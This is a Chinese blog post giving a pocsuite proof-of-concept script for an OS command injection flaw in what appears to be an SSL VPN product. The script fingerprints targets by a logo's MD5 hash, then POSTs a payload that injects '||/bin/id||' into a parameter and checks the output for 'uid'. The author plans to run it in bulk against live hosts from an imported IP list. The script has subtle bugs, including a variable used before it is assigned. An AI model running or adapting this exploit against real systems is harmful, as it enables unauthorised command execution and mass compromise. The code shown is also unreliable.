pocsuite 實現一個verify檢測功能


今天在測試中發現一個命令執行漏洞,嘗試用創宇的pocsuite框架實現。說實話,這玩意兒確實沒有自己寫POC順手,非得就着他的標准來,就很難受,以至於耽誤了很多時間在規范上。。

影響參數后直接用||連接,然后定位linux命令如||/bin/id||

下面是代碼部分,大體思路就是發送一個含有payload的post請求,由於涉及一些隱私,我下面的一些地方做了打碼:

 1 #!/usr/bin/env python
 2 # -*- coding: utf-8 -*-
 3 
 4 """
 5 Copyright (c) 2014-2015 pocsuite developers (http://seebug.org)
 6 See the file 'docs/COPYING' for copying permission
 7 """
 8 #命令行
 9 from pocsuite import pocsuite_cli
10 #驗證模塊
11 from pocsuite import pocsuite_verify
12 #攻擊模塊
13 from pocsuite import pocsuite_attack
14 #控制台模式
15 from pocsuite import pocsuite_console
16 from pocsuite.api.request import req 
17 from pocsuite.api.poc import register
18 from pocsuite.api.poc import Output, POCBase
19 
20 
21 class SSL_VPN(POCBase):
22     vulID = '17'  # ssvid ID 如果是提交漏洞的同時提交 PoC,則寫成 0
23     version = '1' #默認為1
24     vulDate = '2017-11-21' #漏洞公開的時間,不知道就寫今天
25 
26     author = 'colorway' #  PoC作者的大名
27     createDate = '2017-11-21'# 編寫 PoC 的日期
28     updateDate = '2017-11-21'# PoC 更新的時間,默認和編寫時間一樣
29     references = []# 漏洞地址來源,0day不用寫
30     name = 'OS Command Injection'# PoC 名稱
31     appPowerLink = '#'# 漏洞廠商主頁地址
32     appName = '#'# 漏洞應用名稱
33     appVersion = 'all versions'# 漏洞影響版本
34     vulType = 'Command Injection'#漏洞類型,類型參考見 漏洞類型規范表
35     desc = '''
36         攻擊者可拼接系統命令getshell
37     ''' # 漏洞簡要描述
38     samples = []# 測試樣列,就是用 PoC 測試成功的網站
39     install_requires = [] # PoC 第三方模塊依賴,請盡量不要使用第三方模塊,必要時請參考《PoC第三方模塊依賴說明》填寫
40 
41     #驗證漏洞 pocsuite -r xxxx-OS-Injection.py -f ip.txt --verify
42     def _verify(self):
43         #定義返回結果
44         import hashlib
45         import re
46         result = {}
47         #獲取漏洞url
48         vul_url = self.url + '/xx/xx/xx.php?xx=xx&t=1&h=127.0.0.1&p=80&c=1||/bin/id||'
49         vul1_url = vul_url.replace('http', 'https')
50         test_url = self.url + '/images/logo.gif'
51         test1_url = test_url.replace('http', 'https')
52         # print test_url
53         # print test1_url
54         r = req.get(test_url)
55         r1 = req.get(test1_url, verify=False)
56         if hashlib.md5(r1.content).hexdigest() == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' or hashlib.md5(r2.content).hexdigest() == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx':
57             data = "xxx=1&xxx=1&auth=10&user_name=11&pass=111&xxxx=xxxx"
58             cookies = {'xxxx':'aaaa','admin_token':''}
59             r2 = req.post(vul_url, data=data, cookies=cookies)
60             r3 = req.post(vul1_url, data=data, cookies=cookies, verify=False)
61             if "uid" in r2.content or "uid" in r3.content:
62                 result['VerifyInfo'] = {}
63                 result['VerifyInfo']['URL'] = self.url
64                 result['VerifyInfo']['Payload'] = vul_url65             # print r2.content
66         return self.save_output(result)
67 
68     #漏洞攻擊
69     def _attack(self):
70         result = {}
71         # 攻擊代碼
72         return self._verify()
73 
74     def save_output(self, result):
75         #判斷有無結果並輸出
76         output = Output(self)
77         if result:
78             output.success(result)
79         else:
80             output.fail()
81         return output
82 
83 register(SSL_VPN)

這里我先做了指紋識別,判斷目標網站是否有logo並且logo所在文件的MD5值是否正確,是的話進入下面的代碼。其他的地方就是我加了https的驗證,因為一般資產導入的都是IP地址,前面沒有協議的名字,所以我采用了判斷兩次的方法(感覺是一個笨方法,但目前沒有想到其他方法,控制台參數里也沒有啟用https的參數選項)

今天晚上跑一下存活主機,看看明天能跑出多少台來,嘻嘻。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM